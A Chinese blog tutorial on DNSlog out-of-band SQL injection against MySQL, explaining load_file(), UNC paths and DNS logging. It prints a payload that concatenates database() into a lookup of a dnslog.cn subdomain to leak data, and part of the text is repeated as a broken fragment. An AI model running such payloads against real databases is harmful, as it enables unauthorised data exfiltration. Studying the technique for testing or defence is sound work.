DNSlog注入原理

DNSlog注入

在这里插入图片描述

dnslog注入也相当于盲注的一种,但是比盲注效率高一点。

在一定的情况下,如果我们想对一个网站使用布尔或时间盲注,手动注入会对WAF的绕过会非常有帮助,但是效率不高,因此我们往往会使用SQLmap等工具注入,但是这种工具对很多网站都有限制。这时候就该尝试DNSlog注入。

这种注入方式,相较于布尔或时间盲注而言,好处在于可以一组一组进行测试,不用再一个一个字符进行逐以测试,比其他两个盲注效率要高,但是要求服务器的读写权限都要对MySQL开启,如果没有开启的话,是不能使用这种注入方式的。

load_file()函数

Mysql数据库的load_file()函数不单可以读取本地文件,还可以通过UNC路径访问远程文件

DnsLog注入就是利用load_file()函数访问远程文件的特点,对延时盲注等无回显的注入或其他无回显的攻击带来回显。

例如:

SELECT * LOAD_FILE('/home/username/myfile.txt')

上述 MySQL 命令将读取文件 myfile.txt

MySQL LOAD_FILE 函数需要满足几个条件才能成功执行。

  • 您尝试加载的文件必须存在于运行 MySQL 服务器的同一主机中。例如,如果您的 MySQL 服务器安装在 example.com 上,则文件必须仅存在于 example.com 上。
  • 必须指定文件的完整路径名。因此,如果您的文件位于用户主目录中,假设用户名是 w3r,则必须指定“/home/w3r/somefile.txt”
  • 执行命令的用户必须具有 FILE 权限。您可以使用以下命令向用户授予 FILE 权限:“GRANT FILE on dbname.* TO user@localhost”。
  • 相关文件必须可供所有人读取。如果您尝试加载用户主目录层次结构中不存在的文件,请确保您对该文件具有读取权限。
  • MySQL 服务器有一个 max_allowed_packet 变量。相关文件不得超过该变量中指定的值。您可以使用“显示变量如‘%max_allowed_packet%’;”检查 max_allowed_packet 的值;您必须具有 MySQL root 权限才能执行此命令。您可以在 MySQL 配置文件中更改 max_allowed_packet 的值。打开 my.ini 或 my.cnf 文件,找到 max_allowed_packet=some_value 行并将该值更改为所需的值,例如,如果您想将值设置为 50MB,请写入 50MB。
  • MySQL 有一个 secure_file_priv 变量。如果该变量的值设置为非空目录名,则要加载的文件必须位于该目录中。您可以在 MySQL 配置文件中找到 secure_file_priv 变量及其值,并可以对其进行更改。

UNC路径

UNC (Universal Naming Convention) / 通用命名规则,也叫通用命名规范、通用命名约定

UNC为网络(主要指局域网)上资源的完整 Windows 2000 名称。

1.什么是UNC路径?
UNC路径就是类似\softer这样的形式的网络路径。
UNC为网络(主要指局域网)上资源的完整 Windows 2000 名称。
格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。

计算机名称的前面始终使用双反斜线 \\

在 UNC 中,计算机名称又称为主机名称。

对于 UNC 路径,存在以下几条规则:

  • UNC 路径不能包含盘符(如 D)。
  • 不能浏览至共享目录的上级目录。
  • 用于文档和工具的存储相对路径名选项对 UNC 路径不起作用。

DNS解析

网上找到一张解释DNS解析过程非常通透的图片:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

上面这个例子:本地DNS服务器会依次询问 根、.cn、.com.cn、.cloudcrowd.com.cn 逐步获得结果

正常来讲每个查询记录都会在相应DNS服务器上留下相关的查询日志,一般来说企业或者自己部署的DNS在上图标红位置处,可以查到我们的DNS解析记录(我们向谁查了什么样的域名) 简单粗暴一点可以这么理解。

原理

select load_file(concat(“//”,database(),“.dfnyy4.dnslog.cn/123”))

load_file()函数路径用双引号包裹的整体,所以用concat()拼接。

//为UNC路径

.dfnyy4.dnslog.cn为我们通过dnslog获取的网址

DNSlog注入网址

cat()拼接。

//为UNC路径

.dfnyy4.dnslog.cn为我们通过dnslog获取的网址

DNSlog注入网址

导肮链接:https://blog.csdn.net/m0_60571842/article/details/132403032

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值